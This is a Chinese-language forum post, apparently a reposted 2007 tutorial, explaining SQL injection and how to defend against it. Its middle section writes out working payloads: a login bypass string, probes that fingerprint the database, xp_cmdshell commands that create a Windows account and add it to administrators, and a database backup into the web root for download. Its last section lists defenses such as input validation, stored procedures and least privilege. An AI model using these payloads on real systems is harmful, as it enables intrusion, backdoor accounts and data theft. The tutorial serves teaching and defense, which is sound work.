设为首页 收藏本站
查看: 1009|回复: 0

[经验分享] SQL注入与防范基础

[复制链接]

尚未签到

发表于 2016-11-10 09:26:15 | 显示全部楼层 |阅读模式
  <============================== SQL注入与防范基础 =============================>
  Author:刘岚
Date:  2007-5-31
  <================================================================================>
  小例:
  正常情况下 :select * from Users where login =‘正确帐户’ And password =‘正确密码’
  输入 ’ or ‘’=‘ 会怎样 ?
  sql语句变为:
  Select * from Users where login =‘’ or ‘’=‘’ and password =‘’ or ‘’=‘’
  看看where之后条件是不是就变为真了???
  
  1.什么是SQL注入式攻击?
  SQL Server注入式攻击就是攻击者用非法的SQL语句欺骗服务器,执行恶意的操作.
  2.检测一个网站是否可以进行注入攻击?
  1).Step1(是否可以进行攻击)
  http://.../url.aspx?id=1  and 1=1 正常显示
 http://.../url.aspx?id=1  and 1=2 内容为空
  2).Step2(查看服务器用的是哪种数据库)
  http://.../url.aspx?id=1 and (select count(*) from sysobjects)>0
     执行成功,则证明服务器端所用为SQL Server数据库
  http://.../url.aspx?id=1 and (select count(*) from msysobjects)>0
     执行成功,则证明服务器端所用为Access数据库
  3.怎样进行攻击呢???
  1).利用系统表注入SQLServer数据库
  http://.../url.aspx?id=1;exec master..xp_cmdshell “net user name password /add” --
      说明:以上语句新建了用户名为name、密码为password的windows的帐号
  http://.../url.aspx?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--
      说明:将新建的帐号name加入管理员组(此命令只限于sa账户,否则没有权限调用xp_cmdshell命令)
  2).查看服务器所用的库与表
  http://.../url.aspx?id=1 and db_name()>0
      说明:db_name()>0 是一个系统变量,返回是数据库名
  http://.../url.aspx?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
      说明:将数据库备份到Web目录下面,再用http把整个数据库就完完整整的下载回来 (http://localhost/1.db).
    下载之后对数据库1.db进行还原操作,之后就可以看到数据了.
  4.注入式攻击的原因
  攻击方式:
  Select * from Users where login =‘’ or ‘’=‘’ and password =‘’ or ‘’=‘’
 
  原因:动态生成Sql命令没有对用户输入的数据进行验证
  攻击方式:
  exec master..xp_cmdshell “net user name password /add
  原因: 1).通过sql的漏洞
        2).数据库访问权限的设计为dbo的权限
  5.懂得攻击就可以防范了...
 
  1).过滤输入内容(替换所有非法字符)
     例: 方式1--替换单引号   replace(“’”, “’’”)
  2).检查用户输入的合法性
     确信输入的内容只包含合法的数据。数据检查应当在客户端和服务器端都执行——之所以要执行服务器端验证,
     是为了弥补客户端验证机制脆弱的安全性。 要知道,客户端提交的东西是不可信的.
  3).限制表单或查询字符串输入的长度,也是良好编程习惯的体现.
 
  4).用存储过程来完成各项查询.即用户只有对proc执行的权限,没有对table操作.
  5).将用户登录名称、密码等数据加密保存.例如:MD5,
 
  6).检查提取数据的查询所返回的记录数量.
  如果程序只要求返回一个记录,但实际返回的记录却超过一行,那就当作出错处理.
  7).用户最小权限原则
  一般情况下,不授予账户sa的权限.
 
  
  
  
  
 

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-298274-1-1.html 上篇帖子: SQL语句学习笔记一 下篇帖子: Hibernate之Native SQL查询
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表